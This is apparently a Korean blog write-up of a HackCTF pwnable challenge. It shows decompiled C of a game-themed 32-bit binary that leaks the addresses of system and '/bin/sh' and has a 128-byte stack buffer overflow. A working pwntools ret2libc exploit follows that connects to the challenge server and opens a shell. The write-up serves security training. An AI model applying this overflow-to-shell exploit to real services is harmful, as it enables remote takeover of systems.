int Get_Money()
{
int result; // eax
int num2; // [esp+8h] [ebp-Ch] BYREF
int v2; // [esp+Ch] [ebp-8h]
int v3; // [esp+10h] [ebp-4h]
puts("\nThis world is F*cking JabonJui");
puts("1) Farming...");
puts("2) Item selling...");
puts("3) Hunting...");
v3 = 0;
v2 = rand();
printf("(Job)>>> ");
__isoc99_scanf("%d", &num2);
result = num2;
if ( num2 == 2 )
{
puts("\nItem selling...");
while ( v3 <= 350 )
++v3;
puts("+ 350 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
}
else if ( num2 > 2 )
{
if ( num2 == 3 )
{
puts("\nHunting...");
while ( v3 <= 500 )
++v3;
puts("+ 500 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
}
else if ( num2 == 4 )
{
puts("\nWow! you can find Hidden number!");
puts("Life is Just a One Shot...");
puts("Gambling...");
printf("+ %d Gold\n", v2);
gold += v2;
result = printf("\nYour Gold is %d\n", gold);
}
}
else if ( num2 == 1 )
{
puts("\nFarming...");
while ( v3 <= 100 )
++v3;
puts("+ 100 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
}
return result;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int num; // [esp+10h] [ebp-90h] BYREF
char buf[128]; // [esp+14h] [ebp-8Ch] BYREF
void *v6; // [esp+94h] [ebp-Ch]
void *handle; // [esp+98h] [ebp-8h]
void *s1; // [esp+9Ch] [ebp-4h]
setvbuf(stdout, 0, 2, 0);
handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
v6 = dlsym(handle, "system");
dlclose(handle);
for ( s1 = v6; strcmp((const char *)s1, "/bin/sh"); s1 = (char *)s1 + 1 )
;
puts("\n\nNPC [Village Presient] : ");
puts("Binary Boss made our village fall into disuse...");
puts("If you Have System Armor && Shell Sword.");
puts("You can kill the Binary Boss...");
puts("Help me Pwnable Hero... :(\n");
printf("Your Gold : %d\n", gold);
while ( 1 )
{
Menu();
printf(">>> ");
__isoc99_scanf("%d", &num);
switch ( num )
{
case 1:
system("clear");
puts("[Binary Boss]\n");
puts("Arch: i386-32-little");
puts("RELRO: Partial RELRO");
puts("Stack: No canary found");
puts("NX: NX enabled");
puts("PIE: No PIE (0x8048000)");
puts("ASLR: Enable");
printf("Binary Boss live in %p\n", handle);
puts("Binart Boss HP is 140 + Armor + 4\n");
continue;
case 2:
Get_Money(gold);
continue;
case 3:
if ( gold <= 1999 )
goto LABEL_10;
gold -= 1999;
printf("System Armor : %p\n", v6);
break;
case 4:
if ( gold <= 2999 )
{
LABEL_10:
puts("You don't have gold... :(");
}
else
{
gold -= 2999;
printf("Shell Sword : %p\n", s1);
}
break;
case 5:
printf("[Attack] > ");
read(0, buf, 0x400u);
return 0;
case 6:
puts("Your Not Hero... Bye...");
exit(0);
return result;
default:
continue;
}
}
}
문제 프로그램을 확인하면 32비트 리눅스용 elf 파일이다. 칼리리눅스 64비트 환경에서 실행했지만 오류로 인해 실행되지 않는다. 하지만 gdb로는 분석이 가능하고 nc로 접속하면 잘 작동하기 때문에 상관없다. 메뉴에서 2번을 선택하면 돈을 벌 수 있는 방법이 3가지 나온다. 하지만 코드에 있는대로 4번을 입력하면 대략 20억원을 주기 때문에 돈은 쉽게 구할 수 있다. 다음으로 3번과 4번을 입력하면 각각 system 함수의 주소와 binsh의 주소가 출력된다. 마지막으로 5번을 누르면 buf에 값을 입력할 수 있는데 버퍼오버플로우를 이용해 main함수 ret을 오염시킬 수 있으므로 쉘 탈취가 가능하다. 익스플로잇 코드는 아래와 같다.
from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3010)
r.recvuntil(b">>> ")
r.sendline(b"2")
r.recvuntil(b">>> ")
r.sendline(b"4")
r.recvuntil(b">>> ")
r.sendline(b"3")
r.recvuntil(b"System Armor : ")
system=int(r.recv(10),16)
print("[+] system address : " + hex(system))
r.recvuntil(b">>> ")
r.sendline(b"4")
r.recvuntil(b"Shell Sword : ")
binsh=int(r.recv(10),16)
print("[+] binsh address : " + hex(binsh))
r.recvuntil(b">>> ")
r.sendline(b"5")
r.recvuntil(b"[Attack] > ")
payload=b"a"*144+p32(system) + b"b"*4 + p32(binsh)
r.send(payload)
r.interactive()
'시스템 해킹 > CTF' 카테고리의 다른 글
[HackCTF] Poet (0) | 2021.09.21 |
---|---|
[HackCTF] Yes or no (0) | 2021.09.14 |
[HackCTF] BOF_PIE (0) | 2021.09.14 |
[HackCTF] Offset (0) | 2021.09.14 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.09.13 |
댓글